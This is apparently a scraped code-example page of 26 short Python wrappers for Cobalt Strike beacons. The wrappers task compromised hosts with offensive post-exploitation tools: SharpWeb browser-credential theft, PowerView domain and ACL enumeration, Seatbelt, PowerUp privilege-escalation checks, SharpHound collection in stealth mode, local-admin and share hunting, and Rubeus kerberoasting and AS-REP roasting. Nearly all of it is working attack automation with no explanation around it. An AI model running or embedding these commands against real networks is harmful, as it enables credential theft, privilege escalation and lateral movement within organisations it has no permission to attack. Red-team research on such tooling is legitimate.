示例#1
0
def _(bid, out=None):
    args = ['all']

    # output file
    if out:
        args += ['-o', out]

    external.run(bid, 'sharpweb', args)
示例#2
0
def _(bid):
    temp = helpers.guess_temp(bid)

    # Forests and trusts:
    # Get-DomainTrustMapping
    # Get-ForestTrust
    # Get-DomainTrust

    # Parsing GPOs:
    # Get-GptTmpl
    # Get-GroupsXML

    # File shares:
    # Get-DomainFileServer
    # Get-DomainDFSShare

    # Get-DomainManagedSecurityGroup?

    # TODO remove subnet and site?
    # computer objects don't show up in Get-DomainObject for some reason
    command = helpers.code_string(r"""
        cd {}
        $FormatEnumerationLimit=-1
        Get-DomainObject | Format-List -Property * > objects.domain
        Get-DomainPolicyData | Format-List -Property * > policy.domain
        Get-DomainSite | Format-List -Property * > sites.domain
        Get-DomainSubnet | Format-List -Property * > subnets.domain
        Get-DomainGPOUserLocalGroupMapping | Format-List -Property * > gpo_localgroups.domain
        Get-GPODelegation | Format-List -Property * > gpo_delegations.domain
        Get-DomainGPO | %{{Get-ObjectACL -ResolveGUIDs -Name $_.Name}} > gpo_acls.domain
        Get-DomainTrustMapping | Format-List -Property * > trusts.domain
        Get-DomainManagedSecurityGroup | Format-List -Property * > managers.domain
        Invoke-ACLScanner -ResolveGUIDs > interesting_acls.domain
        echo "All finished with domain-enum. Run domain-enum-next."
        """.format(powershell_quote(temp)))

    aggressor.btask(
        bid, 'Tasked beacon to enumerate domain objects and info (stage 1/3)')
    external.run(bid, 'powerview', command)
示例#3
0
def _(bid, *args):
    external.run(bid, 'seatbelt', ['user'] + list(args))
示例#4
0
def _(bid, *args):
    external.run(bid, 'seatbelt', args)
示例#5
0
def _(bid, *args):
    external.run(bid, 'seatbelt', ['system'] + list(args))
示例#6
0
def _(bid, *args):
    external.run(bid, 'powerview',
                 'Invoke-FileFinder {}'.format(' '.join(args)))
示例#7
0
 def callback(bid, *args, function=function):
     external.run(bid, 'powerview', '{} {}'.format(function,
                                                   ' '.join(args)))
示例#8
0
def _(bid):
    external.run(bid, 'seatbelt', 'Patches')
示例#9
0
def _(bid, *args):
    external.run(
        bid, 'powerup',
        '$FormatEnumerationLimit=-1; Invoke-AllChecks | Format-List' +
        ' '.join(args))
示例#10
0
def _(bid, *args):
    external.run(bid, 'seatbelt', ['all', 'full'] + list(args))
示例#11
0
def _(bid):
    external.run(bid, 'seatbelt', ['BasicOSInfo', 'UserFolders', 'AntiVirusWMI', 'InterestingProcesses'])
示例#12
0
def _(bid, *args):
    external.run(bid, 'grouper', list(args))
示例#13
0
def _(bid):
    external.run(bid, 'seatbelt', ['AllTcpConnections', 'AllUdpConnections'])
示例#14
0
def _(bid, *args):
    external.run(bid, 'sharphound', ['--CollectionMethod', 'All'] + list(args))
示例#15
0
def _(bid, *args):
    external.run(bid, 'sharphound', ['--Stealth'] + list(args))
示例#16
0
def _(bid, *args):
    external.run(bid, 'sharphound', list(args))
示例#17
0
def _(bid, *args):
    external.run(
        bid, 'powerview',
        'Find-LocalAdminAccess {}; echo "Finished with Find-LocalAdminAccess"'.
        format(' '.join(args)))
示例#18
0
def _(bid, *args):
    external.run(
        bid, 'powerview',
        'Invoke-ShareFinder -CheckShareAccess {}'.format(' '.join(args)))
示例#19
0
def _(bid):
    external.run(bid, 'seatbelt', 'MappedDrives')
示例#20
0
def _(bid, *args):
    external.run(bid, 'rubeus', args)
示例#21
0
def _(bid):
    external.run(bid, 'seatbelt', ['BasicOSInfo', 'UACSystemPolicies', 'Patches', 'TokenGroupPrivs', 'LocalGroupMembers'])
示例#22
0
def _(bid, *args):
    external.run(bid, 'rubeus', ['kerberoast'] + args)
示例#23
0
def _(bid, *args):
    external.run(bid, 'powerup',
                 '$FormatEnumerationLimit=-1; ' + ' '.join(args))
示例#24
0
def _(bid):
    external.run(bid, 'rubeus', ['kerberoast'])
    external.run(bid, 'rubeus', ['asreproast'])
示例#25
0
def _(bid, *args):
    external.run(bid, 'sharpup', args)
示例#26
0
def _(bid, *args):
    external.run(bid, 'powerview', args)